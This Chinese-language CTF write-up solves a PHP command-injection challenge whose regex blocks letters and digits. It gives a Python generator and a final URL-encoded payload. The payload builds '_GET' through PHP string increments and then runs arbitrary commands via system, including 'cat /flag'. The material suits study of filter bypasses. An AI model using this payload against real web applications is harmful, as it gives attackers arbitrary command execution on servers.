解题过程
进入实例,发现会自动跳转百度,使用burpsuit抓包,发现源码路径

访问./s3cret/rce.php,可以看到改题目的源码

正则如下:
plain
[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]
被过滤的字符:
- 所有字母 a-zA-Z
- 所有数字 0-9
- 特殊字符:@ # % ^ & * : { } - < ? > " | ~ `
意味着我们不能用异或^、或 |、取反 ~
可用字符: $ _ ( ) [ ] ; ' . + = ! / 和空格
所以我们要使用 PHP自增特性 + 数组转字符串 来构造字母:
- 1.
[ ]空数组转字符串可得 "Array" - 2.用 ![] (true=1) 和 !![] (false=0) 构造数字索引
- 3.从 "Array" 提取字母,通过 ++ 自增得到其他字母
py脚本
python
#!/usr/bin/env python3
"""
CTF Payload Generator
目标:绕过正则 /[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/
可用字符:$ _ ( ) [ ] ; ' . + = ! / 空格
"""
import re
import urllib.parse
# 正则表达式(用于验证)
banned_pattern = r'[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]'
def check_payload(payload):
"""检查payload是否包含被过滤字符"""
matches = re.findall(banned_pattern, payload)
return len(matches) == 0, matches
# === 核心原理 ===
# 1. [].'' 在PHP中得到 "Array"
# 2. ![] = true = 1 (作为数组索引)
# 3. !![] = false = 0 (作为数组索引)
# 4. 字符串自增: 'a'++ = 'b', 'A'++ = 'B'
# "Array" 字符索引: A(0), r(1), r(2), a(3), y(4)
print("=" * 60)
print("CTF 无字母数字绕过 Payload 生成器")
print("=" * 60)
# === 方法:构造 $_GET 来传递任意命令 ===
# 目标:$_='_GET'; $$_[_]($$_[__]);
# 效果:$_GET['_']($_GET['__'])
# 使用:?shell=payload&_=system&__=ls
# 构造过程:
# 1. $_=[].''; -> $_ = "Array"
# 2. $__=$_[!![]]; -> $__ = $_[0] = 'A'
# 3. $__++ (6次) -> $__ = 'G'
# 4. $___=$_[!![]]; -> $___ = 'A'
# 5. $___++ (4次) -> $___ = 'E'
# 6. $____=$_[!![]]; -> $____ = 'A'
# 7. $____++ (19次) -> $____ = 'T'
# 8. $_____='_'.$__.$___.$____; -> $_____ = '_GET'
# 9. $$_____[_]($$_____[__]); -> $_GET[_]($_GET[__])
payload_parts = [
"$_=[].''", # $_ = "Array"
"$__=$_[!![]]", # $__ = 'A' (索引0 = false = !![])
]
# 'A' -> 'G' 需要自增6次
for i in range(6):
payload_parts.append("$__++")
payload_parts.append("$___=$_[!![]]") # $___ = 'A'
# 'A' -> 'E' 需要自增4次
for i in range(4):
payload_parts.append("$___++")
payload_parts.append("$____=$_[!![]]") # $____ = 'A'
# 'A' -> 'T' 需要自增19次
for i in range(19):
payload_parts.append("$____++")
payload_parts.append("$_____='_'.$__.$___.$____") # $_____ = '_GET'
payload_parts.append("$$_____[_]($$_____[__])") # $_GET[_]($_GET[__])
payload = ";".join(payload_parts) + ";"
print("\n【Payload】")
print(payload)
print()
# 验证
is_valid, bad_chars = check_payload(payload)
if is_valid:
print("✓ Payload 通过正则检查!不包含被过滤字符")
else:
print(f"✗ 警告:包含被过滤字符: {set(bad_chars)}")
print("\n【URL编码后的Payload】")
encoded_payload = urllib.parse.quote(payload)
print(encoded_payload)
print("\n" + "=" * 60)
print("【使用方法】")
print("=" * 60)
print(f"\n执行 ls 命令:")
print(f"?shell={encoded_payload}&_=system&__=ls")
print(f"\n执行 cat /flag:")
print(f"?shell={encoded_payload}&_=system&__=cat /flag")
print(f"\n执行任意命令:")
print(f"?shell={encoded_payload}&_=system&__=你的命令")
print("\n" + "=" * 60)
print("【原理解释】")
print("=" * 60)
print("""
1. [].'' 将空数组转为字符串 "Array"
2. !![] = false = 0, ![] = true = 1 (用作数组索引)
3. $_[0] = 'A', 通过 ++ 自增得到其他字母
4. 'A'++ → 'B' → 'C' → ... → 'G' (6次)
5. 'A'++ → 'B' → 'C' → 'D' → 'E' (4次)
6. 'A'++ → ... → 'T' (19次)
7. 拼接得到 '_GET' 字符串
8. $$_____ 即 $_GET (可变变量)
9. $_GET[_]($_GET[__]) 从URL参数获取函数名和参数
""")
最终payload:
bash
?shell=%24_%3D%5B%5D.%27%27%3B%24__%3D%24_%5B%21%21%5B%5D%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%24_%5B%21%21%5B%5D%5D%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24____%3D%24_%5B%21%21%5B%5D%5D%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24_____%3D%27_%27.%24__.%24___.%24____%3B%24%24_____%5B_%5D%28%24%24_____%5B__%5D%29%3B&_=system&__=cat /flag


总结
这道题的难点在于过滤了字符(^ | ~ %),所以异或/或/取反方法都不能直接用,需要使用 PHP自增+数组转字符串 的方法来构造任意字母。